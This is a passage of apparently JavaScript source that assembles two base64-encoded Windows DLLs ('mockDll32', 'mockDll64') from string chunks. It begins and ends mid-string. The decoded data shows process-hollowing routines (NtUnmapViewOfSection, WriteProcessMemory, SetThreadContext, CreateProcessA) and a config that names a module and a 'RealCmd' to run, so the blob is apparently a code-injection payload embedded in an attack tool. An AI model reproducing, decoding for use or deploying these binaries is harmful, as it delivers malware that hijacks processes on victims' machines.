1vY2tEbGwzMiArPSAiSVFBUW9Bd2hBQkNOamZqKy8vOVJpUlpvQlFFQUFJMlY2UHovLzFKb0RTRUFFR2dRSVFBUWlFWUVpelZNSUFBUWFCZ2hBQkQvMW8yRitQNy8vMUJvQlFFQUFJMk44UDMvLzFGbyI7DQoJCW1vY2tEbGwzMiArPSAiRFNFQUVHZ2NJUUFRYUJnaEFCRC8xbzJWK1A3Ly8xSm9CUUVBQUkyRjJQci8vMUJvRFNFQUVHZ2tJUUFRYUJnaEFCRC8xbzJOK1A3Ly8xRm9CUUVBQUkyVjRQdi8vMUpvRFNFQSI7DQoJCW1vY2tEbGwzMiArPSAiRUdnc0lRQVFhQmdoQUJELzFvMkYrUDcvLzFCcUFHZzBJUUFRYUJnaEFCRC9GU2dnQUJCUWpZM2crLy8vVVkyVjhQMy8vMUtOaGVqOC8vOVFqWTNZK3YvLzZMMzkvLytEeEJBeiI7DQoJCW1vY2tEbGwzMiArPSAid0Y2TDVWM0RpMFFrQ0lYQWRRNDVCUkF3QUJCK0x2OE5FREFBRUlzTmlDQUFFSVA0QVlzSmlRMGNNQUFRZFQ5b2dBQUFBUDhWaENBQUVJWEFXYU1rTUFBUWRRUXp3T3RtZ3lBQSI7DQoJCW1vY2tEbGwzMiArPSAib1NRd0FCQm9CREFBRUdnQU1BQVFveUF3QUJEbzZ3QUFBUDhGRURBQUVGbFo2ejJGd0hVNW9TUXdBQkNGd0hRd2l3MGdNQUFRVm8xeC9EdndjaEtMRG9YSmRBZi8wYUVrTUFBUSI7DQoJCW1vY2tEbGwzMiArPSAiZys0RTYrcFEveFY4SUFBUWd5VWtNQUFRQUZsZWFnRll3Z3dBVll2c1U0dGRDRmFMZFF4WGkzMFFoZloxQ1lNOUVEQUFFQURySm9QK0FYUUZnLzRDZFNLaEtEQUFFSVhBZEFsWCI7DQoJCW1vY2tEbGwzMiArPSAiVmxQLzBJWEFkQXhYVmxQb0ZmLy8vNFhBZFFRendPdE9WMVpUNkpqOS8vK0QvZ0dKUlF4MURJWEFkVGRYVUZQbzhmNy8vNFgyZEFXRC9nTjFKbGRXVStqZy92Ly9oY0IxQXlGRiI7DQoJCW1vY2tEbGwzMiArPSAiRElOOURBQjBFYUVvTUFBUWhjQjBDRmRXVS8vUWlVVU1pMFVNWDE1YlhjSU1BTXovSllBZ0FCRE16TXpNL3lXUUlBQVF6TXpNek16TXpNek16RkU5QUJBQUFJMU1KQWh5RklIcCI7DQoJCW1vY2tEbGwzMiArPSAiQUJBQUFDMEFFQUFBaFFFOUFCQUFBSFBzSzhpTHhJVUJpK0dMQ0l0QUJGRERBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFJZ0FBSkNJQUFESWlBQUJBSWdBQSI7DQoJCW1vY2tEbGwzMiArPSAiVkNJQUFHWWlBQUI0SWdBQWppSUFBSndpQUFDb0lnQUF0aUlBQU00aUFBRGVJZ0FBOGlJQUFBUWpBQUFZSXdBQUpDTUFBRFlqQUFCR0l3QUFXQ01BQUhRakFBQ0VJd0FBbENNQSI7DQoJCW1vY2tEbGwzMiArPSAiQUtvakFBQytJd0FBMmlNQUFPZ2pBQUQrSXdBQURpUUFBQUFBQUFBcUpBQUFRQ1FBQUVna0FBQlVKQUFBWGlRQUFHNGtBQUI2SkFBQUFBQUFBQ1Z6Q2xCSlJEMGxaQW9sY3dBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFCT2RGVnViV0Z3Vm1sbGQwOW1VMlZqZEdsdmJnQUFBQUJ1ZEdSc2JDNWtiR3dBQUFBbGN5QWxjd0FBQUUxdlkydE5iMlIxYkdVOUpYTUtVbVZoYkVOdFpEMGxjeUFsY3dwVSI7DQoJCW1vY2tEbGwzMiArPSAiYVcxbFQzVjBQU1ZrQ2dvQUFBQUFMbVJzYkFBQUFBQXVhVzVwQUFBQUFHMXZZMnNBQUFBQVkyWm5BSEpsWVd3QUFBQUFZWEpuY3dBQUFBQnZkWFJtQUFBQUFIUnBiV1VBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiZUNFQUFBQUFBQUFBQUFBQUhDUUFBQUFnQUFEd0lRQUFBQUFBQUFBQUFBQTBKQUFBZUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQ0lBQUNRaUFBQXlJZ0FBUUNJQSI7DQoJCW1vY2tEbGwzMiArPSAiQUZRaUFBQm1JZ0FBZUNJQUFJNGlBQUNjSWdBQXFDSUFBTFlpQUFET0lnQUEzaUlBQVBJaUFBQUVJd0FBR0NNQUFDUWpBQUEySXdBQVJpTUFBRmdqQUFCMEl3QUFoQ01BQUpRaiI7DQoJCW1vY2tEbGwzMiArPSAiQUFDcUl3QUF2aU1BQU5vakFBRG9Jd0FBL2lNQUFBNGtBQUFBQUFBQUtpUUFBRUFrQUFCSUpBQUFWQ1FBQUY0a0FBQnVKQUFBZWlRQUFBQUFBQURYQVVkbGRGUm9jbVZoWkVOdiI7DQoJCW1vY2tEbGwzMiArPSAiYm5SbGVIUUFBRk1BUTNKbFlYUmxSbWxzWlVFQVl3RkhaWFJHYVd4bFUybDZaUUJBQTFObGRGUm9jbVZoWkVOdmJuUmxlSFFBQUJzRFUyVjBSbWxzWlZCdmFXNTBaWElBQUpZQyI7DQoJCW1vY2tEbGwzMiArPSAiVUhKdlkyVnpjek15Um1seWMzUUFBSkFEVjJGcGRFWnZjbE5wYm1kc1pVOWlhbVZqZEFDREExWnBjblIxWVd4R2NtVmxBS1FEVjNKcGRHVkdhV3hsQUlZQ1QzQmxibEJ5YjJObCI7DQoJCW1vY2tEbGwzMiArPSAiYzNNQWxnRkhaWFJRY21sMllYUmxVSEp2Wm1sc1pVbHVkRUVBaEFOV2FYSjBkV0ZzUm5KbFpVVjRBTGdDVW1WaFpGQnliMk5sYzNOTlpXMXZjbmtBWmdCRGNtVmhkR1ZRY205aiI7DQoJCW1vY2tEbGwzMiArPSAiWlhOelFRQUFYZ05VWlhKdGFXNWhkR1ZRY205alpYTnpBQUMxQWxKbFlXUkdhV3hsQUFDZ0FVZGxkRkJ5YjJOQlpHUnlaWE56QUFDQkExWnBjblIxWVd4QmJHeHZZd0FBZ2dOVyI7DQoJCW1vY2tEbGwzMiArPSAiYVhKMGRXRnNRV3hzYjJORmVBQUFuQUZIWlhSUWNtbDJZWFJsVUhKdlptbHNaVk4wY21sdVowRUFBSmdDVUhKdlkyVnpjek15VG1WNGRBQ2xBVWRsZEZCeWIyTmxjM05KWkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiZlFGSFpYUk5iMlIxYkdWR2FXeGxUbUZ0WlVFQUFIOEJSMlYwVFc5a2RXeGxTR0Z1Wkd4bFFRQUFjZ0JEY21WaGRHVlViMjlzYUdWc2NETXlVMjVoY0hOb2IzUUFBRFFBUTJ4diI7DQoJCW1vY2tEbGwzMiArPSAiYzJWSVlXNWtiR1VBclFOWGNtbDBaVkJ5YjJObGMzTk5aVzF2Y25rQUFOSUNVbVZ6ZFcxbFZHaHlaV0ZrQUFDREFFUmxiR1YwWlVacGJHVkJBRXRGVWs1RlRETXlMbVJzYkFBQSI7DQoJCW1vY2tEbGwzMiArPSAic2dKemNISnBiblJtQUUxVFZrTlNWQzVrYkd3QUFGNENabkpsWlFBQUR3RmZhVzVwZEhSbGNtMEFrUUp0WVd4c2IyTUFBSjBBWDJGa2FuVnpkRjltWkdsMkFBREJBVjl6ZEhKcCI7DQoJCW1vY2tEbGwzMiArPSAiWTIxd0FBQ1pBbTFsYlhObGRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFYyt1bE1BQUFBQXdpUUFBQUVBQUFBQkFBQUFBUUFBQUxna0FBQzhKQUFBd0NRQUFKQVZBQURXSkFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFCdGIyTnJYM0oxYmpKZlYybHVNekl1Wkd4c0FFUnNiRkpsWjJsemRHVnlVMlZ5ZG1WeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFRQUFDNEFBQUFHVEFwTUVBd1V6QmlNSEl3aVRDUU1Md3d5ekRTTVBnd0JqRVFNVFl4V2pGME1lZ3hFekpVTW9veWtUSzdNc0l5OHpJY016c3pRRE5HTTAweiI7DQoJCW1vY2tEbGwzMiArPSAiY0RPU005OHpEalExTkQ4MFNUUnNOSFUwN3pUOE5CYzFSelZnTlhjMW16V3ZOZGMxM2pYMU5mbzFGRFlaTmlJMkp6WkJOa1kyU3pabE5tbzJiemFKTm80Mmt6YWpOcWcycmpibiI7DQoJCW1vY2tEbGwzMiArPSAiTnU4MjlUWUFOdzAzRlRjak55ZzNMVGN5TnowM1NqZFVOMmszZFRkN041MDNyemNMT0NnNE1qZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQoJCW1vY2tEbGwzMiArPSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQl0aGlzLkJhc2U2NF9Nb2NrRGxsMzIgPSBtb2NrRGxsMzI7DQoJfSwNCgkNCglJbml0TW9ja0RsbDY0OmZ1bmN0aW9uKCl7DQoJCW1vY2tEbGw2NCA9ICIiOw0KCQltb2NrRGxsNjQgKz0gIlRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNkFBQUFBNGZ1ZzRBdEFuTkliZ0IiOw0KCQltb2NrRGxsNjQgKz0gIlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDRlhPcjZ3VDJFcWNFOWhLbkJQWVNwYVVqNnFjQTkiOw0KCQltb2NrRGxsNjQgKz0gImhLbTNvUG1wd0QyRXFiZWc2YW5GUFlTcHQ2RC9xY1E5aEtuQlBZV3A2VDJFcWRxZ0s2bkNQWVNwMnFBZnFjQTloS25hb0JtcHdEMkVxVkpwWTJqQlBZU3BBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUZCRkFBQmtoZ1FBU3o2NlV3QUFBQUFBQUFBQThBQWlJQXNDQ2dBQURBQUFBQXdBQUFBQUFBQndHUUFBQUJBQUFBQUFBSUFCQUFBQUFCQUFBQUFDQUFBRkFBSUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQVVBQWdBQUFBQUFBRkFBQUFBRUFBQUFBQUFBQWdCQUFRQUFFQUFBQUFBQUFCQUFBQUFBQUFBQUFCQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFCQUFBQUN3SmdBQVZnQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFOQWlBQUE4QUFBQUFBQUFBQUFBQUFBQVFBQUFrQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQU1BRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQXpnc0FBQUFRQUFBQURBQUFBQVFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUNBQUFHQXVjbVJoZEdFQUFBWUhBQUFBSUFBQUFBZ0FBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUJBTG1SaGRHRUFBQUF3QUFBQUFEQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFRQUFBd0M1d1pHRjBZUUFBa0FBQUFBQkFBQUFBQWdBQUFCZ0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRWlKWENRSVNJbDBKQmhYU0lQc1FFVXp5VWpIUkNRd0FBQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFMb0FBQUNBUlkxQkFjZEVKQ2dBQUFBQXgwUWtJQU1BQUFEL0ZjNFBBQUJJaTloSWcvai9ENFNnQUFBQU05SklpOGovRmI0UEFBQ0wrSVA0L3crRWdRQUFBRFBKaTlkQnVBQXciOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVqVWtFL3hVWEVBQUFTSXZ3U0lYQWRHVkZNOGxGTThBejBraUx5LzhWbGc4QUFFeU5UQ1JZUkl2SFNJdldTSXZMU01kRUpDQUFBQUFBL3hYUkR3QUFoY0IwSWp0OEpGaDEiOw0KCQltb2NrRGxsNjQgKz0gIkhFaUx5LzhWRGhBQUFFaUx4a2lMWENSUVNJdDBKR0JJZzhSQVg4TXowa0c0QUlBQUFFaUx6djhWV2c4QUFFaUx5LzhWNFE4QUFFaUxYQ1JRU0l0MEpHQXp3RWlEeEVCZnc4ek0iOw0KCQltb2NrRGxsNjQgKz0gInpNek16TXhJaVZ3a0NGZElnZXhRQVFBQWk5bEVpOEV6MHJuLy94OEEveFVwRHdBQVNJdjRTSVhBZEJlNkFRQUFBRWlMeVA4Vk93OEFBRWlMei84VmlnOEFBRWlOVENRa005SkIiOw0KCQltb2NrRGxsNjQgKz0gInVDd0JBQURIUkNRZ01BRUFBT2dNQ2dBQU05S05TZ0wvRlYwUEFBQklqVlFrSUVpTHlFaUwrUDhWdEE0QUFJWEFkQ0U1WENSQWRRbUxUQ1FvNkhuLy8vOUlqVlFrSUVpTHovOFYiOw0KCQltb2NrRGxsNjQgKz0gIkN3OEFBSVhBZGQ5SWk4Ly9GU1lQQUFCSWk1d2tZQUVBQUVpQnhGQUJBQUJmdzh6TXpNek16TXpNek16TXpNeElpVndrR0VpSmRDUWdWVmRCVkVGV1FWZElqYXdrTVBmLy8waUIiOw0KCQltb2NrRGxsNjQgKz0gIjdOQUpBQUJJaTRVZ0NRQUFNOXROaS9sSVkzQThTSWxjSkdoSmkvaElBL0pNaStKTWkvR0JQbEJGQUFCMEJ6UEE2WE1EQUFBejBraU5UWmhNaWF3a0FBb0FBRVNOUW1ESFJaQm8iOw0KCQltb2NrRGxsNjQgKz0gIkFBQUE2RFVKQUFCSWk4OW1pVjNRL3hXa0RnQUFTSWxjSkRCTWpVd2tlTG9BQUFCQVFiZ0RBQUFBU0l2UHgwUWtLSUFBQUFESFJDUjRHQUFBQUVpSlhZREhSWWdCQUFBQXgwUWsiOw0KCQltb2NrRGxsNjQgKz0gIklBSUFBQUQvRllzTkFBQk1pK2hJZy9qL0Q0VHdBZ0FBU0lsRjZFaUpSZkF6d0VpSlJDUllTSWxFSkdCSWpVUWtVRWlKUkNSSVNJMUZrRVV6eVVpSlJDUkFTSWxjSkRoSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FVXp3RW1MMWpQSngwUWtLQVFBQUFESFJjd0JBUUFBU0lsY0pGREhSQ1FnQVFBQUFQOFZnQTBBQUlYQUQ0U0tBZ0FBU0kyTjBRUUFBRFBTUWJqL0F3QUFpSjNRQkFBQTZGb0kiOw0KCQltb2NrRGxsNjQgKz0gIkFBQkVpMHdrWUVpTkZUb09BQUJJalkzUUJBQUFUSXZIVElsOEpDRC9GZVVOQUFCSWc4bi9NOEJJamIzUUJBQUFUSTJOSUFrQUFQS3VTSTJWMEFRQUFFaUpYQ1FnU1BmUlRJMUIiOw0KCQltb2NrRGxsNjQgKz0gIi8wbUx6ZjhWNHd3QUFFbUx6ZjhWWWcwQUFFaU5UUWd6MGtHNHlBUUFBRWlKWFFEbzZRY0FBRWlMVENSWVNJMVZBTWRGTUFzQUVBRC9GVzhNQUFDRndBK0VyUUVBQUV5THJZZ0EiOw0KCQltb2NrRGxsNjQgKz0gIkFBQklpMHdrVUVpTmhRZ0pBQUJNalVRa2NFbU5WUkJCdVFnQUFBQklpVVFrSVA4Vm1nd0FBSVhBRDRSNEFRQUFTSU85Q0FrQUFBZ1BoV29CQUFCSWkwWXdTRGxFSkhCMUtVaU4iOw0KCQltb2NrRGxsNjQgKz0gIkRZb05BQUQvRmNRTUFBQklqUlZsRFFBQVNJdkkveFY4REFBQVNJdFVKSEJJaTB3a1VQL1FSSXRHVUVpTFZqQklpMHdrVUVHNUFEQUFBTWRFSkNCQUFBQUEveFZmREFBQVNJbEUiOw0KCQltb2NrRGxsNjQgKz0gIkpHaEloY0FQaENVQkFBQkVpMDVVU0kyTkNBa0FBRTJMeEVpSlRDUWdTSXRNSkZCSWk5RC9GWEFNQUFDRndBK0UzZ0FBQUl0R1ZFZzVoUWdKQUFBUGhjNEFBQUFQdDBZVVpqdGUiOw0KCQltb2NrRGxsNjQgKz0gIkJuTlZTSTE4TUNpTEI0WEFkRHlMVi94RWkwY0VTSXRNSkZCSUExUWthRVNMeUVpTmhRZ0pBQUJOQThSSWlVUWtJUDhWR2d3QUFJWEFENFNJQUFBQWl3ZElPNFVJQ1FBQWRYMFAiOw0KCQltb2NrRGxsNjQgKz0gInQwWUcvOE5JZzhjb085aDhzRWlMVENSUVNJMkZDQWtBQUV5TlJDUm9TWTFWRUVHNUNBQUFBRWlKUkNRZy94WFRDd0FBaGNCMFJVaUR2UWdKQUFBSWRUdUxSaWhJaTB3a1dFaU4iOw0KCQltb2NrRGxsNjQgKz0gIlZRQklBMFFrYUVpSmhZQUFBQUQvRmU4S0FBQklpMHdrV1A4VnBBc0FBRWlMVENSWS94V0pDd0FBU0l0RUpGRHJOa2lMVkNSb1NJWFNkQlJJaTB3a1VFRzVBSUFBQUVVendQOFYiOw0KCQltb2NrRGxsNjQgKz0gIjlBb0FBRWlMVENSWS94VlpDd0FBU0l0TUpGRC9GVTRMQUFBendFeUxyQ1FBQ2dBQVRJMmNKTkFKQUFCSmkxdEFTWXR6U0VtTDQwRmZRVjVCWEY5ZHcwaUpEV0VhQUFDNEFRQUEiOw0KCQltb2NrRGxsNjQgKz0gIkFNUE16TXhJaVZ3a0dGVklqYXdrZ092Ly83aUFGUUFBNkxnRkFBQklLK0JJaXcwMkdnQUFTSTFVSkRCQnVBVUJBQUQvRmMwS0FBQ0FmQ1F3QUVpTlhDUXdkQW1RU1AvRGdEc0EiOw0KCQltb2NrRGxsNjQgKz0gImRmaUFPeTUwQ3c4ZkFFai95NEE3TG5YNFNJMFZyUXNBQUVpTHkvOFZBQXNBQUlYQWRCYTRBUUFBQUVpTG5DU2dGUUFBU0lIRWdCVUFBRjNEaXdXTUN3QUFUSTFOUUV5TkJZWUwiOw0KCQltb2NrRGxsNjQgKz0gIkFBQ0pBdysyQlh3TEFBQklqUlY1Q3dBQWlFTUVTSTFFSkRCSWpRMXlDd0FBU0lsRUpDakhSQ1FnQlFFQUFFaUp0Q1NRRlFBQS94VWJDZ0FBVEkxY0pEQk1qWTFRQVFBQVRJbGMiOw0KCQltb2NrRGxsNjQgKz0gIkpDaE1qUVUwQ3dBQVNJMFZQQXNBQUVpTkRURUxBQURIUkNRZ0JRRUFBUDhWNXdrQUFFeU5YQ1F3VEkyTllBSUFBRXlKWENRb1RJMEZBQXNBQUVpTkZSQUxBQUJJalEzOUNnQUEiOw0KCQltb2NrRGxsNjQgKz0gIngwUWtJQVVCQUFEL0ZiTUpBQUJNalZ3a01FeU5qWEFEQUFCTWlWd2tLRXlOQmN3S0FBQklqUlhrQ2dBQVNJME55UW9BQU1kRUpDQUZBUUFBL3hWL0NRQUFUSTFNSkRCSWpSWEwiOw0KCQltb2NrRGxsNjQgKz0gIkNnQUFTSTBOcUFvQUFFVXp3UDhWR3drQUFFaU5qVkFCQUFDTDJPaTkrUC8vU0l2d1NJWEFENFFhQVFBQVNJMk5nUXdBQURQU1Fiai9Cd0FBU0ltOEpKZ1ZBQURHaFlBTUFBQUEiOw0KCQltb2NrRGxsNjQgKz0gIjZQSURBQUJJalkyQkJBQUFNOUpCdVA4SEFBREdoWUFFQUFBQTZOY0RBQUJNalkxZ0FnQUFUSTFGUUVpTkZlVUpBQUJJalkyQURBQUEveFZrQ1FBQVNJMkZZQUlBQUV5TmpWQUIiOw0KCQltb2NrRGxsNjQgKz0gIkFBQk1qVVZBU0kwVnl3a0FBRWlOallBRUFBQ0pYQ1FvU0lsRUpDRC9GVFVKQUFCQnUwMWFBQUJtUkRrZWRBUXovK3NsVEkyTmdBUUFBRXlOaFhBREFBQklqWTJBREFBQVNJdlciOw0KCQltb2NrRGxsNjQgKz0gIlNJbDBKQ0Rvcy9uLy8waUwrRFBTUWJnQWdBQUFTSXZPL3hVWENBQUFTSVgvZER1RjIzNHVaZzhmUkFBQXV1Z0RBQUJJaTgvL3kvOFY4QWNBQUlYQWRBU0YyM1hvU0l2UC94VlgiOw0KCQltb2NrRGxsNjQgKz0gIkNBQUFpOGpvcVBqLy8waUx6LzhWWndnQUFFaUx2Q1NZRlFBQVNJdTBKSkFWQUFCSWk1d2tvQlVBQURQQVNJSEVnQlVBQUYzRHpNek16TXpNek16TXpNek1TSVBzS0lYU2RYcUwiOw0KCQltb2NrRGxsNjQgKz0gIkJXSVhBQUNGd0ErT2h3QUFBRWlMRFhNWEFBRC95RWlGeVlrRlNCY0FBSFJPU0lzRlZ4Y0FBRWlENkFoSU84RklpUVZKRndBQWNpWklnemdBZEJEL0VFaUxEVUFYQUFCSWl3VXgiOw0KCQltb2NrRGxsNjQgKz0gIkZ3QUFTSVBvQ0VnN3dVaUpCU01YQUFCejJ2OFZBd2dBQUVqSEJSZ1hBQUFBQUFBQXVBRUFBQUJJZzhRb3c0UDZBWFh4dVFBQkFBRG96d0VBQUVpRndFaUpCZlVXQUFCMUJ6UEEiOw0KCQltb2NrRGxsNjQgKz0gIlNJUEVLTU5JeHdBQUFBQUFTSXNGM2hZQUFFaU5GZThIQUFCSWpRM2dCd0FBU0lrRndSWUFBT2lFQVFBQS93V2VGZ0FBdUFFQUFBQklnOFFvdzh6TXpNeElnK3dvaGRKSWlWd2siOw0KCQltb2NrRGxsNjQgKz0gIk1FaUpiQ1E0U0lsMEpFQ0wya2lMNlVtTDhIVWVPUlZyRmdBQWRWa3p3RWlMZENSQVNJdHNKRGhJaTF3a01FaU